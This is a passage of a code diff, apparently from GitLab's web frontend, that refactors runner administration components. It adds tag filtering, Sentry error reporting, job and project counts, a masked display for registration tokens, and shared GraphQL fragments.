+ TARGET_BRANCH_LABEL,
+ TOGGLE_CREATE_MR_LABEL,
+} from '../constants';
const PRIMARY_OPTIONS_TEXT = __('Upload file');
-const SECONDARY_OPTIONS_TEXT = __('Cancel');
const MODAL_TITLE = __('Upload New File');
-const COMMIT_LABEL = __('Commit message');
-const TARGET_BRANCH_LABEL = __('Target branch');
-const TOGGLE_CREATE_MR_LABEL = __('Start a new merge request with these changes');
const REMOVE_FILE_TEXT = __('Remove file');
const NEW_BRANCH_IN_FORK = __(
'A new branch will be created in your fork and a new merge request will be started.',
@@ -170,7 +172,7 @@ export default {
})
.catch(() => {
this.loading = false;
- createFlash(ERROR_MESSAGE);
+ createFlash({ message: ERROR_MESSAGE });
});
},
formData() {
diff --git a/app/assets/javascripts/repository/constants.js b/app/assets/javascripts/repository/constants.js
index 62d5d3db445..2d2faa8d9f3 100644
--- a/app/assets/javascripts/repository/constants.js
+++ b/app/assets/javascripts/repository/constants.js
@@ -1,4 +1,10 @@
-const TREE_PAGE_LIMIT = 1000; // the maximum amount of items per page
+import { __ } from '~/locale';
+export const TREE_PAGE_LIMIT = 1000; // the maximum amount of items per page
export const TREE_PAGE_SIZE = 100; // the amount of items to be fetched per (batch) request
export const TREE_INITIAL_FETCH_COUNT = TREE_PAGE_LIMIT / TREE_PAGE_SIZE; // the amount of (batch) requests to make
+
+export const SECONDARY_OPTIONS_TEXT = __('Cancel');
+export const COMMIT_LABEL = __('Commit message');
+export const TARGET_BRANCH_LABEL = __('Target branch');
+export const TOGGLE_CREATE_MR_LABEL = __('Start a new merge request with these changes');
diff --git a/app/assets/javascripts/repository/queries/blob_info.query.graphql b/app/assets/javascripts/repository/queries/blob_info.query.graphql
index bfd9447d260..a8f263941e2 100644
--- a/app/assets/javascripts/repository/queries/blob_info.query.graphql
+++ b/app/assets/javascripts/repository/queries/blob_info.query.graphql
@@ -1,6 +1,10 @@
query getBlobInfo($projectPath: ID!, $filePath: String!) {
project(fullPath: $projectPath) {
+ userPermissions {
+ pushCode
+ }
repository {
+ empty
blobs(paths: [$filePath]) {
nodes {
webPath
@@ -15,7 +19,6 @@ query getBlobInfo($projectPath: ID!, $filePath: String!) {
storedExternally
rawPath
replacePath
- canModifyBlob
simpleViewer {
fileType
tooLarge
diff --git a/app/assets/javascripts/repository/queries/commit.fragment.graphql b/app/assets/javascripts/repository/queries/commit.fragment.graphql
index be6897b9a16..b046fc1f730 100644
--- a/app/assets/javascripts/repository/queries/commit.fragment.graphql
+++ b/app/assets/javascripts/repository/queries/commit.fragment.graphql
@@ -5,5 +5,6 @@ fragment TreeEntryCommit on LogTreeCommit {
committedDate
commitPath
fileName
+ filePath
type
}
diff --git a/app/assets/javascripts/right_sidebar.js b/app/assets/javascripts/right_sidebar.js
index 6cdd89ad431..36f5e6f4ce1 100644
--- a/app/assets/javascripts/right_sidebar.js
+++ b/app/assets/javascripts/right_sidebar.js
@@ -2,8 +2,8 @@
import $ from 'jquery';
import Cookies from 'js-cookie';
-import { fixTitle, hide } from '~/tooltips';
-import { deprecatedCreateFlash as flash } from './flash';
+import { hide } from '~/tooltips';
+import createFlash from './flash';
import axios from './lib/utils/axios_utils';
import { sprintf, s__, __ } from './locale';
@@ -98,45 +98,15 @@ Sidebar.prototype.toggleTodo = function (e) {
this.todoUpdateDone(data);
})
.catch(() =>
- flash(
- sprintf(__('There was an error %{message} todo.'), {
+ createFlash({
+ message: sprintf(__('There was an error %{message} todo.'), {
message:
ajaxType === 'post' ? s__('RightSidebar|adding a') : s__('RightSidebar|deleting the'),
}),
- ),
+ }),
);
};
-Sidebar.prototype.todoUpdateDone = function (data) {
- const deletePath = data.delete_path ? data.delete_path : null;
- const attrPrefix = deletePath ? 'mark' : 'todo';
- const $todoBtns = $('.js-issuable-todo');
-
- $(document).trigger('todo:toggle', data.count);
-
- $todoBtns.each((i, el) => {
- const $el = $(el);
- const $elText = $el.find('.js-issuable-todo-inner');
-
- $el
- .removeClass('is-loading')
- .enable()
- .attr('aria-label', $el.data(`${attrPrefix}Text`))
- .attr('title', $el.data(`${attrPrefix}Text`))
- .data('deletePath', deletePath);
-
- if ($el.hasClass('has-tooltip')) {
- fixTitle(el);
- }
-
- if (typeof $el.data('isCollapsed') !== 'undefined') {
- $elText.html($el.data(`${attrPrefix}Icon`));
- } else {
- $elText.text($el.data(`${attrPrefix}Text`));
- }
- });
-};
-
Sidebar.prototype.sidebarCollapseClicked = function (e) {
if ($(e.currentTarget).hasClass('dont-change-state')) {
return;
diff --git a/app/assets/javascripts/runner/components/cells/runner_actions_cell.vue b/app/assets/javascripts/runner/components/cells/runner_actions_cell.vue
index 7f9f796bdee..863f0ab995f 100644
--- a/app/assets/javascripts/runner/components/cells/runner_actions_cell.vue
+++ b/app/assets/javascripts/runner/components/cells/runner_actions_cell.vue
@@ -1,9 +1,11 @@
<script>
import { GlButton, GlButtonGroup, GlTooltipDirective } from '@gitlab/ui';
+import createFlash from '~/flash';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { __, s__ } from '~/locale';
-import deleteRunnerMutation from '~/runner/graphql/delete_runner.mutation.graphql';
+import runnerDeleteMutation from '~/runner/graphql/runner_delete.mutation.graphql';
import runnerUpdateMutation from '~/runner/graphql/runner_update.mutation.graphql';
+import { captureException } from '~/runner/sentry_utils';
const i18n = {
I18N_EDIT: __('Edit'),
@@ -14,6 +16,7 @@ const i18n = {
};
export default {
+ name: 'RunnerActionsCell',
components: {
GlButton,
GlButtonGroup,
@@ -86,7 +89,7 @@ export default {
});
if (errors && errors.length) {
- this.onError(new Error(errors[0]));
+ throw new Error(errors.join(' '));
}
} catch (e) {
this.onError(e);
@@ -109,7 +112,7 @@ export default {
runnerDelete: { errors },
},
} = await this.$apollo.mutate({
- mutation: deleteRunnerMutation,
+ mutation: runnerDeleteMutation,
variables: {
input: {
id: this.runner.id,
@@ -119,7 +122,7 @@ export default {
refetchQueries: ['getRunners'],
});
if (errors && errors.length) {
- this.onError(new Error(errors[0]));
+ throw new Error(errors.join(' '));
}
} catch (e) {
this.onError(e);
@@ -129,9 +132,13 @@ export default {
},
onError(error) {
- // TODO Render errors when "delete" action is done
- // `active` toggle would not fail due to user input.
- throw error;
+ const { message } = error;
+ createFlash({ message });
+
+ this.reportToSentry(error);
+ },
+ reportToSentry(error) {
+ captureException({ error, component: this.$options.name });
},
},
i18n,
diff --git a/app/assets/javascripts/runner/components/cells/runner_type_cell.vue b/app/assets/javascripts/runner/components/cells/runner_type_cell.vue
index b3ebdfd82e3..f186a8daf72 100644
--- a/app/assets/javascripts/runner/components/cells/runner_type_cell.vue
+++ b/app/assets/javascripts/runner/components/cells/runner_type_cell.vue
@@ -32,11 +32,11 @@ export default {
<runner-type-badge :type="runnerType" size="sm" />
<gl-badge v-if="locked" variant="warning" size="sm">
- {{ __('locked') }}
+ {{ s__('Runners|locked') }}
</gl-badge>
<gl-badge v-if="paused" variant="danger" size="sm">
- {{ __('paused') }}
+ {{ s__('Runners|paused') }}
</gl-badge>
</div>
</template>
diff --git a/app/assets/javascripts/runner/components/helpers/masked_value.vue b/app/assets/javascripts/runner/components/helpers/masked_value.vue
new file mode 100644
index 00000000000..feccb37de81
--- /dev/null
+++ b/app/assets/javascripts/runner/components/helpers/masked_value.vue
@@ -0,0 +1,60 @@
+<script>
+import { GlButton } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ components: {
+ GlButton,
+ },
+ props: {
+ value: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ data() {
+ return {
+ isMasked: true,
+ };
+ },
+ computed: {
+ label() {
+ if (this.isMasked) {
+ return __('Click to reveal');
+ }
+ return __('Click to hide');
+ },
+ icon() {
+ if (this.isMasked) {
+ return 'eye';
+ }
+ return 'eye-slash';
+ },
+ displayedValue() {
+ if (this.isMasked && this.value?.length) {
+ return '*'.repeat(this.value.length);
+ }
+ return this.value;
+ },
+ },
+ methods: {
+ toggleMasked() {
+ this.isMasked = !this.isMasked;
+ },
+ },
+};
+</script>
+<template>
+ <span
+ >{{ displayedValue }}
+ <gl-button
+ :aria-label="label"
+ :icon="icon"
+ class="gl-text-body!"
+ data-testid="toggle-masked"
+ variant="link"
+ @click="toggleMasked"
+ />
+ </span>
+</template>
diff --git a/app/assets/javascripts/runner/components/runner_filtered_search_bar.vue b/app/assets/javascripts/runner/components/runner_filtered_search_bar.vue
index bec33ce2f44..e14b3b17fa8 100644
--- a/app/assets/javascripts/runner/components/runner_filtered_search_bar.vue
+++ b/app/assets/javascripts/runner/components/runner_filtered_search_bar.vue
@@ -1,9 +1,9 @@
<script>
-import { GlFilteredSearchToken } from '@gitlab/ui';
import { cloneDeep } from 'lodash';
-import { __, s__ } from '~/locale';
+import { formatNumber, sprintf, __, s__ } from '~/locale';
import { OPERATOR_IS_ONLY } from '~/vue_shared/components/filtered_search_bar/constants';
import FilteredSearch from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+import BaseToken from '~/vue_shared/components/filtered_search_bar/tokens/base_token.vue';
import {
STATUS_ACTIVE,
STATUS_PAUSED,
@@ -19,50 +19,9 @@ import {
CONTACTED_ASC,
PARAM_KEY_STATUS,
PARAM_KEY_RUNNER_TYPE,
+ PARAM_KEY_TAG,
} from '../constants';
-
-const searchTokens = [
- {
- icon: 'status',
- title: __('Status'),
- type: PARAM_KEY_STATUS,
- token: GlFilteredSearchToken,
- // TODO Get more than one value when GraphQL API supports OR for "status"
- unique: true,
- options: [
- { value: STATUS_ACTIVE, title: s__('Runners|Active') },
- { value: STATUS_PAUSED, title: s__('Runners|Paused') },
- { value: STATUS_ONLINE, title: s__('Runners|Online') },
- { value: STATUS_OFFLINE, title: s__('Runners|Offline') },
-
- // Added extra quotes in this title to avoid splitting this value:
- // see: https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1438
- { value: STATUS_NOT_CONNECTED, title: `"${s__('Runners|Not connected')}"` },
- ],
- // TODO In principle we could support more complex search rules,
- // this can be added to a separate issue.
- operators: OPERATOR_IS_ONLY,
- },
-
- {
- icon: 'file-tree',
- title: __('Type'),
- type: PARAM_KEY_RUNNER_TYPE,
- token: GlFilteredSearchToken,
- // TODO Get more than one value when GraphQL API supports OR for "status"
- unique: true,
- options: [
- { value: INSTANCE_TYPE, title: s__('Runners|shared') },
- { value: GROUP_TYPE, title: s__('Runners|group') },
- { value: PROJECT_TYPE, title: s__('Runners|specific') },
- ],
- // TODO We should support more complex search rules,
- // search for multiple states (OR) or have NOT operators
- operators: OPERATOR_IS_ONLY,
- },
-
- // TODO Support tags
-];
+import TagToken from './search_tokens/tag_token.vue';
const sortOptions = [
{
@@ -95,6 +54,14 @@ export default {
return Array.isArray(val?.filters) && typeof val?.sort === 'string';
},
},
+ namespace: {
+ type: String,
+ required: true,
+ },
+ activeRunnersCount: {
+ type: Number,
+ required: true,
+ },
},
data() {
// filtered_search_bar_root.vue may mutate the inital
@@ -106,6 +73,62 @@ export default {
initialSortBy: sort,
};
},
+ computed: {
+ searchTokens() {
+ return [
+ {
+ icon: 'status',
+ title: __('Status'),
+ type: PARAM_KEY_STATUS,
+ token: BaseToken,
+ unique: true,
+ options: [
+ { value: STATUS_ACTIVE, title: s__('Runners|Active') },
+ { value: STATUS_PAUSED, title: s__('Runners|Paused') },
+ { value: STATUS_ONLINE, title: s__('Runners|Online') },
+ { value: STATUS_OFFLINE, title: s__('Runners|Offline') },
+
+ // Added extra quotes in this title to avoid splitting this value:
+ // see: https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1438
+ { value: STATUS_NOT_CONNECTED, title: `"${s__('Runners|Not connected')}"` },
+ ],
+ // TODO In principle we could support more complex search rules,
+ // this can be added to a separate issue.
+ operators: OPERATOR_IS_ONLY,
+ },
+
+ {
+ icon: 'file-tree',
+ title: __('Type'),
+ type: PARAM_KEY_RUNNER_TYPE,
+ token: BaseToken,
+ unique: true,
+ options: [
+ { value: INSTANCE_TYPE, title: s__('Runners|instance') },
+ { value: GROUP_TYPE, title: s__('Runners|group') },
+ { value: PROJECT_TYPE, title: s__('Runners|project') },
+ ],
+ // TODO We should support more complex search rules,
+ // search for multiple states (OR) or have NOT operators
+ operators: OPERATOR_IS_ONLY,
+ },
+
+ {
+ icon: 'tag',
+ title: s__('Runners|Tags'),
+ type: PARAM_KEY_TAG,
+ token: TagToken,
+ recentTokenValuesStorageKey: `${this.namespace}-recent-tags`,
+ operators: OPERATOR_IS_ONLY,
+ },
+ ];
+ },
+ activeRunnersMessage() {
+ return sprintf(__('Runners currently online: %{active_runners_count}'), {
+ active_runners_count: formatNumber(this.activeRunnersCount),
+ });
+ },
+ },
methods: {
onFilter(filters) {
const { sort } = this.value;
@@ -127,19 +150,23 @@ export default {
},
},
sortOptions,
- searchTokens,
};
</script>
<template>
- <filtered-search
- v-bind="$attrs"
- recent-searches-storage-key="runners-search"
- :sort-options="$options.sortOptions"
- :initial-filter-value="initialFilterValue"
- :initial-sort-by="initialSortBy"
- :tokens="$options.searchTokens"
- :search-input-placeholder="__('Search or filter results...')"
- @onFilter="onFilter"
- @onSort="onSort"
- />
+ <div>
+ <filtered-search
+ v-bind="$attrs"
+ :namespace="namespace"
+ recent-searches-storage-key="runners-search"
+ :sort-options="$options.sortOptions"
+ :initial-filter-value="initialFilterValue"
+ :initial-sort-by="initialSortBy"
+ :tokens="searchTokens"
+ :search-input-placeholder="__('Search or filter results...')"
+ data-testid="runners-filtered-search"
+ @onFilter="onFilter"
+ @onSort="onSort"
+ />
+ <div class="gl-text-right" data-testid="active-runners-message">{{ activeRunnersMessage }}</div>
+ </div>
</template>
diff --git a/app/assets/javascripts/runner/components/runner_list.vue b/app/assets/javascripts/runner/components/runner_list.vue
index 41adbbb55f6..69a1f106ca8 100644
--- a/app/assets/javascripts/runner/components/runner_list.vue
+++ b/app/assets/javascripts/runner/components/runner_list.vue
@@ -1,8 +1,9 @@
<script>
import { GlTable, GlTooltipDirective, GlSkeletonLoader } from '@gitlab/ui';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { formatNumber, sprintf, __, s__ } from '~/locale';
+import { formatNumber, __, s__ } from '~/locale';
import TimeAgo from '~/vue_shared/components/time_ago_tooltip.vue';
+import { RUNNER_JOB_COUNT_LIMIT } from '../constants';
import RunnerActionsCell from './cells/runner_actions_cell.vue';
import RunnerNameCell from './cells/runner_name_cell.vue';
import RunnerTypeCell from './cells/runner_type_cell.vue';
@@ -51,19 +52,20 @@ export default {
type: Array,
required: true,
},
- activeRunnersCount: {
- type: Number,
- required: true,
- },
- },
- computed: {
- activeRunnersMessage() {
- return sprintf(__('Runners currently online: %{active_runners_count}'), {
- active_runners_count: formatNumber(this.activeRunnersCount),
- });
- },
},
methods: {
+ formatProjectCount(projectCount) {
+ if (projectCount === null) {
+ return __('n/a');
+ }
+ return formatNumber(projectCount);
+ },
+ formatJobCount(jobCount) {
+ if (jobCount > RUNNER_JOB_COUNT_LIMIT) {
+ return `${formatNumber(RUNNER_JOB_COUNT_LIMIT)}+`;
+ }
+ return formatNumber(jobCount);
+ },
runnerTrAttr(runner) {
if (runner) {
return {
@@ -88,12 +90,12 @@ export default {
</script>
<template>
<div>
- <div class="gl-text-right" data-testid="active-runners-message">{{ activeRunnersMessage }}</div>
<gl-table
:busy="loading"
:items="runners"
:fields="$options.fields"
:tbody-tr-attr="runnerTrAttr"
+ data-testid="runner-list"
stacked="md"
fixed
>
@@ -117,12 +119,12 @@ export default {
{{ ipAddress }}
</template>
- <template #cell(projectCount)>
- <!-- TODO add projects count -->
+ <template #cell(projectCount)="{ item: { projectCount } }">
+ {{ formatProjectCount(projectCount) }}
</template>
- <template #cell(jobCount)>
- <!-- TODO add jobs count -->
+ <template #cell(jobCount)="{ item: { jobCount } }">
+ {{ formatJobCount(jobCount) }}
</template>
<template #cell(tagList)="{ item: { tagList } }">
diff --git a/app/assets/javascripts/runner/components/runner_manual_setup_help.vue b/app/assets/javascripts/runner/components/runner_manual_setup_help.vue
index 426d377c92b..475d362bb52 100644
--- a/app/assets/javascripts/runner/components/runner_manual_setup_help.vue
+++ b/app/assets/javascripts/runner/components/runner_manual_setup_help.vue
@@ -1,6 +1,7 @@
<script>
import { GlLink, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
import { s__ } from '~/locale';
+import MaskedValue from '~/runner/components/helpers/masked_value.vue';
import RunnerRegistrationTokenReset from '~/runner/components/runner_registration_token_reset.vue';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import RunnerInstructions from '~/vue_shared/components/runner_instructions/runner_instructions.vue';
@@ -11,6 +12,7 @@ export default {
GlLink,
GlSprintf,
ClipboardButton,
+ MaskedValue,
RunnerInstructions,
RunnerRegistrationTokenReset,
},
@@ -92,7 +94,9 @@ export default {
{{ __('And this registration token:') }}
<br />
- <code data-testid="registration-token">{{ currentRegistrationToken }}</code>
+ <code data-testid="registration-token"
+ ><masked-value :value="currentRegistrationToken"
+ /></code>
<clipboard-button :title="__('Copy token')" :text="currentRegistrationToken" />
</li>
</ol>
diff --git a/app/assets/javascripts/runner/components/runner_registration_token_reset.vue b/app/assets/javascripts/runner/components/runner_registration_token_reset.vue
index b03574264d9..2335faa4f85 100644
--- a/app/assets/javascripts/runner/components/runner_registration_token_reset.vue
+++ b/app/assets/javascripts/runner/components/runner_registration_token_reset.vue
@@ -3,9 +3,11 @@ import { GlButton } from '@gitlab/ui';
import createFlash, { FLASH_TYPES } from '~/flash';
import { __, s__ } from '~/locale';
import runnersRegistrationTokenResetMutation from '~/runner/graphql/runners_registration_token_reset.mutation.graphql';
+import { captureException } from '~/runner/sentry_utils';
import { INSTANCE_TYPE, GROUP_TYPE, PROJECT_TYPE } from '../constants';
export default {
+ name: 'RunnerRegistrationTokenReset',
components: {
GlButton,
},
@@ -52,8 +54,7 @@ export default {
},
});
if (errors && errors.length) {
- this.onError(new Error(errors[0]));
- return;
+ throw new Error(errors.join(' '));
}
this.onSuccess(token);
} catch (e) {
@@ -65,6 +66,8 @@ export default {
onError(error) {
const { message } = error;
createFlash({ message });
+
+ this.reportToSentry(error);
},
onSuccess(token) {
createFlash({
@@ -73,6 +76,9 @@ export default {
});
this.$emit('tokenReset', token);
},
+ reportToSentry(error) {
+ captureException({ error, component: this.$options.name });
+ },
},
};
</script>
diff --git a/app/assets/javascripts/runner/components/runner_tag.vue b/app/assets/javascripts/runner/components/runner_tag.vue
new file mode 100644
index 00000000000..06562e618a8
--- /dev/null
+++ b/app/assets/javascripts/runner/components/runner_tag.vue
@@ -0,0 +1,27 @@
+<script>
+import { GlBadge } from '@gitlab/ui';
+import { RUNNER_TAG_BADGE_VARIANT } from '../constants';
+
+export default {
+ components: {
+ GlBadge,
+ },
+ props: {
+ tag: {
+ type: String,
+ required: true,
+ },
+ size: {
+ type: String,
+ required: false,
+ default: 'md',
+ },
+ },
+ RUNNER_TAG_BADGE_VARIANT,
+};
+</script>
+<template>
+ <gl-badge :size="size" :variant="$options.RUNNER_TAG_BADGE_VARIANT">
+ {{ tag }}
+ </gl-badge>
+</template>
diff --git a/app/assets/javascripts/runner/components/runner_tags.vue b/app/assets/javascripts/runner/components/runner_tags.vue
index 4ba07e00c96..aec0d8e2c66 100644
--- a/app/assets/javascripts/runner/components/runner_tags.vue
+++ b/app/assets/javascripts/runner/components/runner_tags.vue
@@ -1,9 +1,9 @@
<script>
-import { GlBadge } from '@gitlab/ui';
+import RunnerTag from './runner_tag.vue';
export default {
components: {
- GlBadge,
+ RunnerTag,
},
props: {
tagList: {
@@ -16,18 +16,11 @@ export default {
required: false,
default: 'md',
},
- variant: {
- type: String,
- required: false,
- default: 'info',
- },
},
};
</script>
<template>
<div>
- <gl-badge v-for="tag in tagList" :key="tag" :size="size" :variant="variant">
- {{ tag }}
- </gl-badge>
+ <runner-tag v-for="tag in tagList" :key="tag" :tag="tag" :size="size" />
</div>
</template>
diff --git a/app/assets/javascripts/runner/components/runner_type_help.vue b/app/assets/javascripts/runner/components/runner_type_help.vue
index 927deb290a4..70456b3ab65 100644
--- a/app/assets/javascripts/runner/components/runner_type_help.vue
+++ b/app/assets/javascripts/runner/components/runner_type_help.vue
@@ -44,13 +44,13 @@ export default {
</li>
<li>
<gl-badge variant="warning" size="sm">
- {{ __('locked') }}
+ {{ s__('Runners|locked') }}
</gl-badge>
- {{ __('Cannot be assigned to other projects.') }}
</li>
<li>
<gl-badge variant="danger" size="sm">
- {{ __('paused') }}
+ {{ s__('Runners|paused') }}
</gl-badge>
- {{ __('Not available to run jobs.') }}
</li>
diff --git a/app/assets/javascripts/runner/components/runner_update_form.vue b/app/assets/javascripts/runner/components/runner_update_form.vue
index 0c1b83b6830..85d14547efd 100644
--- a/app/assets/javascripts/runner/components/runner_update_form.vue
+++ b/app/assets/javascripts/runner/components/runner_update_form.vue
@@ -7,42 +7,26 @@ import {
GlFormInputGroup,
GlTooltipDirective,
} from '@gitlab/ui';
+import {
+ modelToUpdateMutationVariables,
+ runnerToModel,
+} from 'ee_else_ce/runner/runner_details/runner_update_form_utils';
import createFlash, { FLASH_TYPES } from '~/flash';
import { __ } from '~/locale';
+import { captureException } from '~/runner/sentry_utils';
import { ACCESS_LEVEL_NOT_PROTECTED, ACCESS_LEVEL_REF_PROTECTED, PROJECT_TYPE } from '../constants';
import runnerUpdateMutation from '../graphql/runner_update.mutation.graphql';
-const runnerToModel = (runner) => {
- const {
- id,
- description,
- maximumTimeout,
- accessLevel,
- active,
- locked,
- runUntagged,
- tagList = [],
- } = runner || {};
-
- return {
- id,
- description,
- maximumTimeout,
- accessLevel,
- active,
- locked,
- runUntagged,
- tagList: tagList.join(', '),
- };
-};
-
export default {
+ name: 'RunnerUpdateForm',
components: {
GlButton,
GlForm,
GlFormCheckbox,
GlFormGroup,
GlFormInputGroup,
+ RunnerUpdateCostFactorFields: () =>
+ import('ee_component/runner/components/runner_update_cost_factor_fields.vue'),
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -67,18 +51,6 @@ export default {
readonlyIpAddress() {
return this.runner?.ipAddress;
},
- updateMutationInput() {
- const { maximumTimeout, tagList } = this.model;
-
- return {
- ...this.model,
- maximumTimeout: maximumTimeout !== '' ? maximumTimeout : null,
- tagList: tagList
- .split(',')
- .map((tag) => tag.trim())
- .filter((tag) => Boolean(tag)),
- };
- },
},
watch: {
runner(newVal, oldVal) {
@@ -98,31 +70,32 @@ export default {
},
} = await this.$apollo.mutate({
mutation: runnerUpdateMutation,
- variables: {
- input: this.updateMutationInput,
- },
+ variables: modelToUpdateMutationVariables(this.model),
});
if (errors?.length) {
- this.onError(new Error(errors[0]));
+ // Validation errors need not be thrown
+ createFlash({ message: errors[0] });
return;
}
this.onSuccess();
- } catch (e) {
- this.onError(e);
+ } catch (error) {
+ const { message } = error;
+ createFlash({ message });
+
+ this.reportToSentry(error);
} finally {
this.saving = false;
}
},
- onError(error) {
- const { message } = error;
- createFlash({ message });
- },
onSuccess() {
createFlash({ message: __('Changes saved.'), type: FLASH_TYPES.SUCCESS });
this.model = runnerToModel(this.runner);
},
+ reportToSentry(error) {
+ captureException({ error, component: this.$options.name });
+ },
},
ACCESS_LEVEL_NOT_PROTECTED,
ACCESS_LEVEL_REF_PROTECTED,
@@ -213,6 +186,8 @@ export default {
<gl-form-input-group v-model="model.tagList" />
</gl-form-group>
+ <runner-update-cost-factor-fields v-model="model" />
+
<div class="form-actions">
<gl-button
type="submit"
diff --git a/app/assets/javascripts/runner/components/search_tokens/tag_token.vue b/app/assets/javascripts/runner/components/search_tokens/tag_token.vue
new file mode 100644
index 00000000000..0c69072f06a
--- /dev/null
+++ b/app/assets/javascripts/runner/components/search_tokens/tag_token.vue
@@ -0,0 +1,91 @@
+<script>
+import { GlFilteredSearchSuggestion, GlToken } from '@gitlab/ui';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { s__ } from '~/locale';
+
+import BaseToken from '~/vue_shared/components/filtered_search_bar/tokens/base_token.vue';
+import { RUNNER_TAG_BG_CLASS } from '../../constants';
+
+export const TAG_SUGGESTIONS_PATH = '/admin/runners/tag_list.json';
+
+export default {
+ components: {
+ BaseToken,
+ GlFilteredSearchSuggestion,
+ GlToken,
+ },
+ props: {
+ config: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ tags: [],
+ loading: false,
+ };
+ },
+ methods: {
+ fnCurrentTokenValue(data) {
+ // By default, values are transformed with `toLowerCase`
+ // however, runner tags are case sensitive.
+ return data;
+ },
+ getTagsOptions(search) {
+ // TODO This should be implemented via a GraphQL API
+ // The API should
+ // 1) scope to the rights of the user
+ // 2) stay up to date to the removal of old tags
+ // See: https://gitlab.com/gitlab-org/gitlab/-/issues/333796
+ return axios
+ .get(TAG_SUGGESTIONS_PATH, {
+ params: {
+ search,
+ },
+ })
+ .then(({ data }) => {
+ return data.map(({ id, name }) => ({ id, value: name, text: name }));
+ });
+ },
+ async fetchTags(searchTerm) {
+ this.loading = true;
+ try {
+ this.tags = await this.getTagsOptions(searchTerm);
+ } catch {
+ createFlash({
+ message: s__('Runners|Something went wrong while fetching the tags suggestions'),
+ });
+ } finally {
+ this.loading = false;
+ }
+ },
+ },
+ RUNNER_TAG_BG_CLASS,
+};
+</script>
+
+<template>
+ <base-token
+ v-bind="$attrs"
+ :config="config"
+ :suggestions-loading="loading"
+ :suggestions="tags"
+ :fn-current-token-value="fnCurrentTokenValue"
+ :recent-suggestions-storage-key="config.recentTokenValuesStorageKey"
+ @fetch-suggestions="fetchTags"
+ v-on="$listeners"
+ >
+ <template #view-token="{ viewTokenProps: { listeners, inputValue, activeTokenValue } }">
+ <gl-token variant="search-value" :class="$options.RUNNER_TAG_BG_CLASS" v-on="listeners">
+ {{ activeTokenValue ? activeTokenValue.text : inputValue }}
+ </gl-token>
+ </template>
+ <template #suggestions-list="{ suggestions }">
+ <gl-filtered-search-suggestion v-for="tag in suggestions" :key="tag.id" :value="tag.value">
+ {{ tag.text }}
+ </gl-filtered-search-suggestion>
+ </template>
+ </base-token>
+</template>
diff --git a/app/assets/javascripts/runner/constants.js b/app/assets/javascripts/runner/constants.js
index a57d18ba745..2822882e0cc 100644
--- a/app/assets/javascripts/runner/constants.js
+++ b/app/assets/javascripts/runner/constants.js
@@ -1,18 +1,23 @@
import { s__ } from '~/locale';
export const RUNNER_PAGE_SIZE = 20;
+export const RUNNER_JOB_COUNT_LIMIT = 1000;
+export const I18N_FETCH_ERROR = s__('Runners|Something went wrong while fetching runner data.');
export const I18N_DETAILS_TITLE = s__('Runners|Runner #%{runner_id}');
-export const RUNNER_ENTITY_TYPE = 'Ci::Runner';
+export const RUNNER_TAG_BADGE_VARIANT = 'info';
+export const RUNNER_TAG_BG_CLASS = 'gl-bg-blue-100';
// Filtered search parameter names
// - Used for URL params names
// - GlFilteredSearch tokens type
-export const PARAM_KEY_SEARCH = 'search';
export const PARAM_KEY_STATUS = 'status';
export const PARAM_KEY_RUNNER_TYPE = 'runner_type';
+export const PARAM_KEY_TAG = 'tag';
+export const PARAM_KEY_SEARCH = 'search';
+
export const PARAM_KEY_SORT = 'sort';
export const PARAM_KEY_PAGE = 'page';
export const PARAM_KEY_AFTER = 'after';
diff --git a/app/assets/javascripts/runner/graphql/get_runner.query.graphql b/app/assets/javascripts/runner/graphql/get_runner.query.graphql
index 84e0d6cc95c..c294cb9bf22 100644
--- a/app/assets/javascripts/runner/graphql/get_runner.query.graphql
+++ b/app/assets/javascripts/runner/graphql/get_runner.query.graphql
@@ -1,4 +1,4 @@
-#import "~/runner/graphql/runner_details.fragment.graphql"
+#import "ee_else_ce/runner/graphql/runner_details.fragment.graphql"
query getRunner($id: CiRunnerID!) {
runner(id: $id) {
diff --git a/app/assets/javascripts/runner/graphql/get_runners.query.graphql b/app/assets/javascripts/runner/graphql/get_runners.query.graphql
index 45df9c625a6..9f837197558 100644
--- a/app/assets/javascripts/runner/graphql/get_runners.query.graphql
+++ b/app/assets/javascripts/runner/graphql/get_runners.query.graphql
@@ -6,9 +6,10 @@ query getRunners(
$after: String
$first: Int
$last: Int
- $search: String
$status: CiRunnerStatus
$type: CiRunnerType
+ $tagList: [String!]
+ $search: String
$sort: CiRunnerSort
) {
runners(
@@ -16,9 +17,10 @@ query getRunners(
after: $after
first: $first
last: $last
- search: $search
status: $status
type: $type
+ tagList: $tagList
+ search: $search
sort: $sort
) {
nodes {
diff --git a/app/assets/javascripts/runner/graphql/delete_runner.mutation.graphql b/app/assets/javascripts/runner/graphql/runner_delete.mutation.graphql
index d580ea2785e..d580ea2785e 100644
--- a/app/assets/javascripts/runner/graphql/delete_runner.mutation.graphql
+++ b/app/assets/javascripts/runner/graphql/runner_delete.mutation.graphql
diff --git a/app/assets/javascripts/runner/graphql/runner_details.fragment.graphql b/app/assets/javascripts/runner/graphql/runner_details.fragment.graphql
index 6d7dc1e2798..2449ee0fc0f 100644
--- a/app/assets/javascripts/runner/graphql/runner_details.fragment.graphql
+++ b/app/assets/javascripts/runner/graphql/runner_details.fragment.graphql
@@ -1,12 +1,5 @@
+#import "./runner_details_shared.fragment.graphql"
+
fragment RunnerDetails on CiRunner {
- id
- runnerType
- active
- accessLevel
- runUntagged
- locked
- ipAddress
- description
- maximumTimeout
- tagList
+ ...RunnerDetailsShared
}
diff --git a/app/assets/javascripts/runner/graphql/runner_details_shared.fragment.graphql b/app/assets/javascripts/runner/graphql/runner_details_shared.fragment.graphql
new file mode 100644
index 00000000000..8c50cba7de3
--- /dev/null
+++ b/app/assets/javascripts/runner/graphql/runner_details_shared.fragment.graphql
@@ -0,0 +1,12 @@
+fragment RunnerDetailsShared on CiRunner {
+ id
+ runnerType
+ active
+ accessLevel
+ runUntagged
+ locked
+ ipAddress
+ description
